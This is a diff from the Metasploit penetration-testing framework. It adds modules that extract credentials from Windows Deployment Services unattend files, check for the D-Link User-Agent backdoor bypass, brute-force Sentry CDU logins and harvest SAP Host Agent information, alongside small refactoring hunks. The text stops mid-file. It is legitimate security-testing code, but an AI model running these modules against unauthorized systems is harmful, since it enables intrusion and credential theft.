||||
],
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'http://technet.microsoft.com/en-us/library/ff715801'],
|
||||
['URL', 'http://technet.microsoft.com/en-us/library/cc749415(v=ws.10).aspx'],
|
||||
['URL', 'http://technet.microsoft.com/en-us/library/c026170e-40ef-4191-98dd-0b9835bfa580']
|
||||
],
|
||||
))
|
||||
|
||||
register_options([
|
||||
OptPath.new('PATH', [true, 'Directory or file to parse.']),
|
||||
OptBool.new('RECURSIVE', [true, 'Recursively check for files', false]),
|
||||
])
|
||||
end
|
||||
|
||||
def run
|
||||
if datastore['RECURSIVE']
|
||||
ext = "**/*.xml"
|
||||
else
|
||||
ext = "/*.xml"
|
||||
end
|
||||
|
||||
if datastore['PATH'].ends_with('.xml')
|
||||
filepath = datastore['PATH']
|
||||
else
|
||||
filepath = File.join(datastore['PATH'], ext)
|
||||
end
|
||||
|
||||
Dir.glob(filepath) do |item|
|
||||
print_status "Processing #{item}"
|
||||
file = File.read(item)
|
||||
begin
|
||||
xml = REXML::Document.new(file)
|
||||
rescue REXML::ParseException => e
|
||||
print_error("#{item} invalid xml format.")
|
||||
vprint_line(e.message)
|
||||
next
|
||||
end
|
||||
|
||||
results = Rex::Parser::Unattend.parse(xml)
|
||||
table = Rex::Parser::Unattend.create_table(results)
|
||||
print_line table.to_s unless table.nil?
|
||||
print_line
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -0,0 +1,232 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex/proto/dcerpc'
|
||||
require 'rex/proto/dcerpc/wdscp'
|
||||
require 'rex/parser/unattend'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::DCERPC
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
DCERPCPacket = Rex::Proto::DCERPC::Packet
|
||||
DCERPCClient = Rex::Proto::DCERPC::Client
|
||||
DCERPCResponse = Rex::Proto::DCERPC::Response
|
||||
DCERPCUUID = Rex::Proto::DCERPC::UUID
|
||||
WDS_CONST = Rex::Proto::DCERPC::WDSCP::Constants
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Microsoft Windows Deployment Services Unattend Retrieval',
|
||||
'Description' => %q{
|
||||
This module retrieves the client unattend file from Windows
|
||||
Deployment Services RPC service and parses out the stored credentials.
|
||||
Tested against Windows 2008 R2 x64 and Windows 2003 x86.
|
||||
},
|
||||
'Author' => [ 'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'MSDN', 'http://msdn.microsoft.com/en-us/library/dd891255(prot.20).aspx'],
|
||||
[ 'URL', 'http://rewtdance.blogspot.co.uk/2012/11/windows-deployment-services-clear-text.html']
|
||||
],
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(5040),
|
||||
], self.class)
|
||||
|
||||
deregister_options('RHOST', 'CHOST', 'CPORT', 'SSL', 'SSLVersion')
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptBool.new('ENUM_ARM', [true, 'Enumerate Unattend for ARM architectures (not currently supported by Windows and will cause an error in System Event Log)', false])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
begin
|
||||
query_host(ip)
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Rex::ConnectionError => e
|
||||
print_error("#{ip}:#{rport} Connection Error: #{e}")
|
||||
ensure
|
||||
# Ensure socket is pulled down afterwards
|
||||
self.dcerpc.socket.close rescue nil
|
||||
self.dcerpc = nil
|
||||
self.handle = nil
|
||||
end
|
||||
end
|
||||
|
||||
def query_host(rhost)
|
||||
# Create a handler with our UUID and Transfer Syntax
|
||||
|
||||
self.handle = Rex::Proto::DCERPC::Handle.new(
|
||||
[
|
||||
WDS_CONST::WDSCP_RPC_UUID,
|
||||
'1.0',
|
||||
],
|
||||
'ncacn_ip_tcp',
|
||||
rhost,
|
||||
[datastore['RPORT']]
|
||||
)
|
||||
|
||||
print_status("Binding to #{handle} ...")
|
||||
|
||||
self.dcerpc = Rex::Proto::DCERPC::Client.new(self.handle, self.sock)
|
||||
vprint_good("Bound to #{handle}")
|
||||
|
||||
report_service(
|
||||
:host => rhost,
|
||||
:port => datastore['RPORT'],
|
||||
:proto => 'tcp',
|
||||
:name => "dcerpc",
|
||||
:info => "#{WDS_CONST::WDSCP_RPC_UUID} v1.0 Windows Deployment Services"
|
||||
)
|
||||
|
||||
table = Rex::Ui::Text::Table.new({
|
||||
'Header' => 'Windows Deployment Services',
|
||||
'Indent' => 1,
|
||||
'Columns' => ['Architecture', 'Type', 'Domain', 'Username', 'Password']
|
||||
})
|
||||
|
||||
creds_found = false
|
||||
|
||||
WDS_CONST::ARCHITECTURE.each do |architecture|
|
||||
if architecture[0] == :ARM && !datastore['ENUM_ARM']
|
||||
vprint_status "Skipping #{architecture[0]} architecture due to adv option"
|
||||
next
|
||||
end
|
||||
|
||||
begin
|
||||
result = request_client_unattend(architecture)
|
||||
rescue ::Rex::Proto::DCERPC::Exceptions::Fault => e
|
||||
vprint_error(e.to_s)
|
||||
print_error("#{rhost} DCERPC Fault - Windows Deployment Services is present but not configured. Perhaps an SCCM installation.")
|
||||
return nil
|
||||
end
|
||||
|
||||
unless result.nil?
|
||||
loot_unattend(architecture[0], result)
|
||||
results = parse_client_unattend(result)
|
||||
|
||||
results.each do |result|
|
||||
unless result.empty?
|
||||
if result['username'] and result['password']
|
||||
print_good("Retrived #{result['type']} credentials for #{architecture[0]}")
|
||||
creds_found = true
|
||||
domain = ""
|
||||
domain = result['domain'] if result['domain']
|
||||
report_creds(domain, result['username'], result['password'])
|
||||
table << [architecture[0], result['type'], domain, result['username'], result['password']]
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
if creds_found
|
||||
print_line
|
||||
table.print
|
||||
print_line
|
||||
else
|
||||
print_error("No Unattend files received, service is unlikely to be configured for completely unattended installation.")
|
||||
end
|
||||
end
|
||||
|
||||
def request_client_unattend(architecture)
|
||||
# Construct WDS Control Protocol Message
|
||||
packet = Rex::Proto::DCERPC::WDSCP::Packet.new(:REQUEST, :GET_CLIENT_UNATTEND)
|
||||
|
||||
guid = Rex::Text.rand_text_hex(32)
|
||||
packet.add_var( WDS_CONST::VAR_NAME_CLIENT_GUID, guid)
|
||||
|
||||
# Not sure what this padding is for...
|
||||
mac = [0x30].pack('C') * 20
|
||||
mac << Rex::Text.rand_text_hex(12)
|
||||
packet.add_var( WDS_CONST::VAR_NAME_CLIENT_MAC, mac)
|
||||
|
||||
arch = [architecture[1]].pack('C')
|
||||
packet.add_var( WDS_CONST::VAR_NAME_ARCHITECTURE, arch)
|
||||
|
||||
version = [1].pack('V')
|
||||
packet.add_var( WDS_CONST::VAR_NAME_VERSION, version)
|
||||
|
||||
wdsc_packet = packet.create
|
||||
|
||||
vprint_status("Sending #{architecture[0]} Client Unattend request ...")
|
||||
dcerpc.call(0, wdsc_packet, false)
|
||||
timeout = datastore['DCERPC::ReadTimeout']
|
||||
response = Rex::Proto::DCERPC::Client.read_response(self.dcerpc.socket, timeout)
|
||||
|
||||
if (response and response.stub_data)
|
||||
vprint_status('Received response ...')
|
||||
data = response.stub_data
|
||||
|
||||
# Check WDSC_Operation_Header OpCode-ErrorCode is success 0x000000
|
||||
op_error_code = data.unpack('v*')[19]
|
||||
if op_error_code == 0
|
||||
if data.length < 277
|
||||
vprint_error("No Unattend received for #{architecture[0]} architecture")
|
||||
return nil
|
||||
else
|
||||
vprint_status("Received #{architecture[0]} unattend file ...")
|
||||
return extract_unattend(data)
|
||||
end
|
||||
else
|
||||
vprint_error("Error code received for #{architecture[0]}: #{op_error_code}")
|
||||
return nil
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def extract_unattend(data)
|
||||
start = data.index('<?xml')
|
||||
finish = data.index('</unattend>')
|
||||
if start and finish
|
||||
finish += 10
|
||||
return data[start..finish]
|
||||
else
|
||||
print_error("Incomplete transmission or malformed unattend file.")
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
def parse_client_unattend(data)
|
||||
begin
|
||||
xml = REXML::Document.new(data)
|
||||
return Rex::Parser::Unattend.parse(xml).flatten
|
||||
rescue REXML::ParseException => e
|
||||
print_error("Invalid XML format")
|
||||
vprint_line(e.message)
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
def loot_unattend(archi, data)
|
||||
return if data.empty?
|
||||
p = store_loot('windows.unattend.raw', 'text/plain', rhost, data, archi, "Windows Deployment Services")
|
||||
print_status("Raw version of #{archi} saved as: #{p}")
|
||||
end
|
||||
|
||||
def report_creds(domain, user, pass)
|
||||
report_auth_info(
|
||||
:host => rhost,
|
||||
:port => 4050,
|
||||
:sname => 'dcerpc',
|
||||
:proto => 'tcp',
|
||||
:source_id => nil,
|
||||
:source_type => "aux",
|
||||
:user => "#{domain}\\#{user}",
|
||||
:pass => pass)
|
||||
end
|
||||
end
|
|
@ -52,10 +52,6 @@ class Metasploit4 < Msf::Auxiliary
|
|||
deregister_options('RHOST')
|
||||
end
|
||||
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
uri = normalize_uri(target_uri.path)
|
||||
res = send_request_cgi({
|
||||
|
|
|
@ -39,10 +39,6 @@ class Metasploit4 < Msf::Auxiliary
|
|||
deregister_options('RHOST')
|
||||
end
|
||||
|
||||
def peer
|
||||
"#{rhost}:#{rport}"
|
||||
end
|
||||
|
||||
def run_host(rhost)
|
||||
url = normalize_uri(datastore['URI'], '/index.php/members')
|
||||
|
||||
|
|
|
@ -0,0 +1,90 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'DLink User-Agent Backdoor Scanner',
|
||||
'Description' => %q{
|
||||
This module attempts to find DLink devices running Alphanetworks web interfaces affected
|
||||
by the backdoor found on the User-Agent header. This module has been tested successfully
|
||||
on a DIR-100 device with firmware version v1.13.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Craig Heffner', # vulnerability discovery
|
||||
'Michael Messner <devnull[at]s3cur1ty.de>', # Metasploit module
|
||||
'juan vazquez' # minor help with msf module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://www.devttys0.com/2013/10/reverse-engineering-a-d-link-backdoor/' ]
|
||||
],
|
||||
# First documented in detail by Craig, but looks like it's been known
|
||||
# (at least to the Russians :-) ) since 2010 - see post at forum.codenet.ru
|
||||
'DisclosureDate' => "Oct 12 2013"
|
||||
)
|
||||
|
||||
end
|
||||
|
||||
def is_alpha_web_server?
|
||||
begin
|
||||
res = send_request_cgi({'uri' => '/'})
|
||||
rescue ::Rex::ConnectionError
|
||||
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
|
||||
return false
|
||||
end
|
||||
|
||||
# Signatures:
|
||||
# * httpd-alphanetworks/2.23
|
||||
# * Alpha_webserv
|
||||
if res and res.headers["Server"] and res.headers["Server"] =~ /alpha/i
|
||||
return true
|
||||
end
|
||||
|
||||
return false
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
|
||||
if is_alpha_web_server?
|
||||
vprint_good("#{ip} - Alphanetworks web server detected")
|
||||
else
|
||||
vprint_error("#{ip} - Alphanetworks web server doesn't detected")
|
||||
return
|
||||
end
|
||||
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'uri' => '/',
|
||||
'method' => 'GET',
|
||||
'agent' => 'xmlset_roodkcableoj28840ybtide'
|
||||
})
|
||||
rescue ::Rex::ConnectionError
|
||||
vprint_error("#{ip}:#{rport} - Failed to connect to the web server")
|
||||
return
|
||||
end
|
||||
|
||||
# DIR-100 device with firmware version v1.13
|
||||
# not sure if this matches on other devices
|
||||
# TODO: Testing on other devices
|
||||
if res and res.code == 200 and res.headers["Content-length"] != 0 and res.body =~ /Home\/bsc_internet\.htm/
|
||||
print_good("#{ip}:#{rport} - Vulnerable for authentication bypass via User-Agent Header \"xmlset_roodkcableoj28840ybtide\"")
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -48,10 +48,6 @@ class Metasploit4 < Msf::Auxiliary
|
|||
deregister_options('RHOST')
|
||||
end
|
||||
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
@peer = "#{rhost}:#{rport}"
|
||||
@uri = normalize_uri(target_uri.path)
|
||||
|
|
|
@ -49,10 +49,6 @@ class Metasploit4 < Msf::Auxiliary
|
|||
deregister_options('RHOST')
|
||||
end
|
||||
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
@peer = "#{rhost}:#{rport}"
|
||||
@uri = normalize_uri(target_uri.path)
|
||||
|
|
|
@ -48,10 +48,6 @@ class Metasploit4 < Msf::Auxiliary
|
|||
deregister_options('RHOST')
|
||||
end
|
||||
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
@peer = "#{rhost}:#{rport}"
|
||||
@uri = normalize_uri(target_uri.path)
|
||||
|
|
|
@ -37,11 +37,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
], self.class)
|
||||
end
|
||||
|
||||
|
||||
def peer
|
||||
"#{rhost}:#{rport}"
|
||||
end
|
||||
|
||||
def anonymous_access?
|
||||
res = send_request_raw({'uri' => '/'})
|
||||
return true if res and res.body =~ /username = "hpsmh_anonymous"/
|
||||
|
|
|
@ -20,7 +20,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
def initialize
|
||||
super(
|
||||
'Name' => 'HTTP Version Detection',
|
||||
'Description' => 'Display version information about each system',
|
||||
'Description' => 'Display version information about each system.',
|
||||
'Author' => 'hdm',
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
|
|
@ -29,10 +29,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
], self.class)
|
||||
end
|
||||
|
||||
def peer
|
||||
return "#{rhost}:#{rport}"
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
tpath = normalize_uri(target_uri.path)
|
||||
if tpath[-1,1] != '/'
|
||||
|
|
|
@ -31,10 +31,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
], self.class)
|
||||
end
|
||||
|
||||
def peer
|
||||
return "#{rhost}:#{rport}"
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
tpath = normalize_uri(target_uri.path)
|
||||
if tpath[-1,1] != '/'
|
||||
|
|
|
@ -30,10 +30,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
], self.class)
|
||||
end
|
||||
|
||||
def peer
|
||||
return "#{rhost}:#{rport}"
|
||||
end
|
||||
|
||||
def os_fingerprint(response)
|
||||
if not response.headers.has_key?('Server')
|
||||
return "Unkown OS (No Server Header)"
|
||||
|
|
|
@ -56,14 +56,6 @@ class Metasploit4 < Msf::Auxiliary
|
|||
deregister_options('RHOST')
|
||||
end
|
||||
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
def peer(rhost)
|
||||
"#{rhost}:#{rport}"
|
||||
end
|
||||
|
||||
def get_first_session
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.to_s, "index.php"),
|
||||
|
|
|
@ -46,14 +46,6 @@ class Metasploit4 < Msf::Auxiliary
|
|||
|
||||
end
|
||||
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
def peer
|
||||
"#{rhost}:#{rport}"
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
|
||||
traversal = "..\\" * datastore['DEPTH']
|
||||
|
|
|
@ -47,14 +47,6 @@ class Metasploit4 < Msf::Auxiliary
|
|||
deregister_options('RHOST')
|
||||
end
|
||||
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
def peer
|
||||
"#{rhost}:#{rport}"
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
|
||||
record = "<RECORD><NAME>SRS</NAME><OPERATION>4</OPERATION><CMD>103</CMD><PATH>#{datastore['RFILE']}</PATH></RECORD>"
|
||||
|
|
|
@ -32,10 +32,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
], self.class)
|
||||
end
|
||||
|
||||
def peer
|
||||
return "#{rhost}:#{rport}"
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
File.open(datastore['TARGETURIS'], 'rb').each_line do |line|
|
||||
test_uri = line.chomp
|
||||
|
|
|
@ -37,10 +37,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
deregister_options('RHOST')
|
||||
end
|
||||
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(datastore['URI'], "/services/listServices"),
|
||||
|
|
|
@ -0,0 +1,112 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'rex/proto/http'
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::AuthBrute
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Sentry Switched CDU Bruteforce Login Utility',
|
||||
'Description' => %{
|
||||
This module scans for ServerTech's Sentry Switched CDU (Cabinet Power
|
||||
Distribution Unit) web login portals, and performs login brute force
|
||||
to identify valid credentials.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Karn Ganeshen <KarnGaneshen[at]gmail.com>',
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('USERNAME', [true, "A specific username to authenticate as, default 'admn'", "admn"]),
|
||||
OptString.new('PASSWORD', [true, "A specific password to authenticate with, deault 'admn'", "admn"])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
unless is_app_sentry?
|
||||
print_error("#{rhost}:#{rport} - Sentry Switched CDU not found. Module will not continue.")
|
||||
return
|
||||
end
|
||||
|
||||
print_status("#{rhost}:#{rport} - Starting login brute force...")
|
||||
each_user_pass do |user, pass|
|
||||
do_login(user, pass)
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# What's the point of running this module if the app actually isn't Sentry
|
||||
#
|
||||
def is_app_sentry?
|
||||
begin
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => '/',
|
||||
'method' => 'GET'
|
||||
})
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
|
||||
return false
|
||||
end
|
||||
|
||||
if (res and res.body.include?("Sentry Switched CDU"))
|
||||
vprint_good("#{rhost}:#{rport} - Running ServerTech Sentry Switched CDU")
|
||||
return true
|
||||
else
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Brute-force the login page
|
||||
#
|
||||
def do_login(user, pass)
|
||||
vprint_status("#{rhost}:#{rport} - Trying username:#{user.inspect} with password:#{pass.inspect}")
|
||||
begin
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => '/index.html',
|
||||
'method' => 'GET',
|
||||
'authorization' => basic_auth(user,pass)
|
||||
})
|
||||
|
||||
if (res and res.headers['Set-Cookie'])
|
||||
print_good("#{rhost}:#{rport} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
|
||||
|
||||
report_hash = {
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:sname => 'ServerTech Sentry Switched CDU',
|
||||
:user => user,
|
||||
:pass => pass,
|
||||
:active => true,
|
||||
:type => 'password'
|
||||
}
|
||||
|
||||
report_auth_info(report_hash)
|
||||
return :next_user
|
||||
|
||||
else
|
||||
vprint_error("#{rhost}:#{rport} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}")
|
||||
end
|
||||
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
|
||||
print_error("#{rhost}:#{rport} - HTTP Connection Failed, Aborting")
|
||||
return :abort
|
||||
end
|
||||
end
|
||||
end
|
|
@ -75,7 +75,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
sqlmap_url << "://"
|
||||
sqlmap_url << wmap_target_host
|
||||
sqlmap_url << ":"
|
||||
sqlmap_url << wmap_target_port
|
||||
sqlmap_url << wmap_target_port.to_s
|
||||
sqlmap_url << "/"
|
||||
sqlmap_url << datastore['PATH']
|
||||
|
||||
|
|
|
@ -51,12 +51,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
deregister_options('RHOST')
|
||||
end
|
||||
|
||||
|
||||
def peer
|
||||
"#{rhost}:#{rport}"
|
||||
end
|
||||
|
||||
|
||||
def auth(username, password, sid, last_login)
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
|
|
|
@ -0,0 +1,382 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rexml/document'
|
||||
|
||||
class Metasploit4 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'SAP Host Agent Information Disclosure',
|
||||
'Description' => %q{
|
||||
This module attempts to retrieve Computer and OS info from Host Agent
|
||||
through the SAP HostControl service.
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
# General
|
||||
['CVE', '2013-3319'],
|
||||
['OSVDB', '95616'],
|
||||
['BID', '61402'],
|
||||
['URL', 'https://service.sap.com/sap/support/notes/1816536'],
|
||||
['URL', 'http://labs.integrity.pt/advisories/cve-2013-3319/']
|
||||
],
|
||||
'Author' =>
|
||||
[
|
||||
'Bruno Morisson <bm[at]integrity.pt>' # Discovery and msf module
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(1128)
|
||||
], self.class)
|
||||
|
||||
register_autofilter_ports([1128])
|
||||
|
||||
|
||||
end
|
||||
|
||||
def initialize_tables
|
||||
|
||||
@computer_table = Msf::Ui::Console::Table.new(
|
||||
Msf::Ui::Console::Table::Style::Default,
|
||||
'Header' => "Remote Computer Listing",
|
||||
'Prefix' => "\n",
|
||||
'Postfix' => "\n",
|
||||
'Indent' => 1,
|
||||
'Columns' =>
|
||||
[
|
||||
"Names",
|
||||
"Hostnames",
|
||||
"IPAddresses"
|
||||
])
|
||||
|
||||
@os_table = Msf::Ui::Console::Table.new(
|
||||
Msf::Ui::Console::Table::Style::Default,
|
||||
'Header' => "Remote OS Listing",
|
||||
'Prefix' => "\n",
|
||||
'Postfix' => "\n",
|
||||
'Indent' => 1,
|
||||
'Columns' =>
|
||||
[
|
||||
"Name",
|
||||
"Type",
|
||||
"Version",
|
||||
"TotalMemSize",
|
||||
"Load Avg 1m",
|
||||
"Load Avg 5m",
|
||||
"Load Avg 15m",
|
||||
"CPUs",
|
||||
"CPU User",
|
||||
"CPU Sys",
|
||||
"CPU Idle"
|
||||
])
|
||||
@net_table = Msf::Ui::Console::Table.new(
|
||||
Msf::Ui::Console::Table::Style::Default,
|
||||
'Header' => "Network Port Listing",
|
||||
'Prefix' => "\n",
|
||||
'Postfix' => "\n",
|
||||
'Indent' => 1,
|
||||
'Columns' =>
|
||||
[
|
||||
"ID",
|
||||
"PacketsIn",
|
||||
"PacketsOut",
|
||||
"ErrorsIn",
|
||||
"ErrorsOut",
|
||||
"Collisions"
|
||||
])
|
||||
|
||||
@process_table = Msf::Ui::Console::Table.new(
|
||||
Msf::Ui::Console::Table::Style::Default,
|
||||
'Header' => "Remote Process Listing",
|
||||
'Prefix' => "\n",
|
||||
'Postfix' => "\n",
|
||||
'Indent' => 1,
|
||||
'Columns' =>
|
||||
[
|
||||
"Name",
|
||||
"PID",
|
||||
"Username",
|
||||
"Priority",
|
||||
"Size",
|
||||
"Pages",
|
||||
"CPU",
|
||||
"CPU Time",
|
||||
"Command"
|
||||
])
|
||||
|
||||
@fs_table = Msf::Ui::Console::Table.new(
|
||||
Msf::Ui::Console::Table::Style::Default,
|
||||
'Header' => "Remote Filesystem Listing",
|
||||
'Prefix' => "\n",
|
||||
'Postfix' => "\n",
|
||||
'Indent' => 1,
|
||||
'Columns' =>
|
||||
[
|
||||
"Name",
|
||||
"Size",
|
||||
"Available",
|
||||
"Remote"
|
||||
])
|
||||
|
||||
@net_table = Msf::Ui::Console::Table.new(
|
||||
Msf::Ui::Console::Table::Style::Default,
|
||||
'Header' => "Network Port Listing",
|
||||
'Prefix' => "\n",
|
||||
'Postfix' => "\n",
|
||||
'Indent' => 1,
|
||||
'Columns' =>
|
||||
[
|
||||
"ID",
|
||||
"PacketsIn",
|
||||
"PacketsOut",
|
||||
"ErrorsIn",
|
||||
"ErrorsOut",
|
||||
"Collisions"
|
||||
])
|
||||
|
||||
end
|
||||
|
||||
# Parses an array of mProperties elements. For every mProperties element,
|
||||
# if there is an item with mValue ITSAMComputerSystem, then collect the
|
||||
# values for the items with mName in (Name, Hostnames, IPAdresses)
|
||||
def parse_computer_info(data)
|
||||
success = false
|
||||
data.each do |properties|
|
||||
name, hostnames, addresses = ""
|
||||
|
||||
if properties.get_elements("item//mValue[text()=\"ITSAMComputerSystem\"]").empty?
|
||||
next
|
||||
end
|
||||
|
||||
item_list = properties.get_elements("item")
|
||||
item_list.each do |item|
|
||||
item_name = item.get_elements("mName").first.text
|
||||
item_value = item.get_elements("mValue").first.text
|
||||
|
||||
case item_name
|
||||
when "Name"
|
||||
name = item_value
|
||||
when "Hostnames"
|
||||
hostnames = item_value
|
||||
when "IPAdresses"
|
||||
addresses = item_value
|
||||
end
|
||||
end
|
||||
|
||||
@computer_table << [name, hostnames, addresses]
|
||||
|
||||
success = true
|
||||
end
|
||||
|
||||
return success
|
||||
end
|
||||
|
||||
# Get the mValues of every item
|
||||
def parse_values(data, ignore)
|
||||
values = []
|
||||
|
||||
item_list = data.get_elements("item")
|
||||
item_list.each do |item|
|
||||
value_item = item.get_elements("mValue")
|
||||
|
||||
if value_item.empty?
|
||||
value = ""
|
||||
else
|
||||
value = value_item.first.text
|
||||
end
|
||||
|
||||
if value == ignore
|
||||
next
|
||||
end
|
||||
|
||||
values << value
|
||||
end
|
||||
return values
|
||||
end
|
||||
|
||||
# Parses an array of mProperties elements and get the interesting info
|
||||
# including ITSAMOperatingSystem, ITSAMOSProcess, ITSAMFileSystem and
|
||||
# ITSAMNetworkPort properties.
|
||||
def parse_detailed_info(data)
|
||||
data.each do |properties|
|
||||
if not properties.get_elements("item//mValue[text()=\"ITSAMOperatingSystem\"]").empty?
|
||||
values = parse_values(properties, "ITSAMOperatingSystem")
|
||||
parse_os_info(values)
|
||||
end
|
||||
|
||||
if not properties.get_elements("item//mValue[text()=\"ITSAMOSProcess\"]").empty?
|
||||
values = parse_values(properties, "ITSAMOSProcess")
|
||||
parse_process_info(values)
|
||||
end
|
||||
|
||||
if not properties.get_elements("item//mValue[text()=\"ITSAMFileSystem\"]").empty?
|
||||
values = parse_values(properties, "ITSAMFileSystem")
|
||||
parse_fs_info(values)
|
||||
end
|
||||
|
||||
if not properties.get_elements("item//mValue[text()=\"ITSAMNetworkPort\"]").empty?
|
||||
values = parse_values(properties, "ITSAMNetworkPort")
|
||||
parse_net_info(values)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def parse_os_info(os_info)
|
||||
@os_table << [
|
||||
os_info[0], # OS name
|
||||
os_info[1], # OS type
|
||||
os_info[2], # OS Version
|
||||
os_info[7], # Total Memory
|
||||
os_info[11], # Load Average (1m)
|
||||
os_info[12], # Load Average (5m)
|
||||
os_info[13], # Load Average (15m)
|
||||
os_info[17], # Number of CPUs / Cores
|
||||
os_info[18]+'%', # CPU usage (User)
|
||||
os_info[19]+'%', # CPU usage (system)
|
||||
os_info[20]+'%' # CPU idle
|
||||
]
|
||||
end
|
||||
|
||||
def parse_process_info(process_info)
|
||||
@process_table << [
|
||||
process_info[0], # Process name
|
||||
process_info[1], # PID
|
||||
process_info[2], # Username
|
||||
process_info[3], # Priority
|
||||
process_info[4], # Mem size
|
||||
process_info[5], # pages
|
||||
process_info[6]+'%', # CPU usage
|
||||
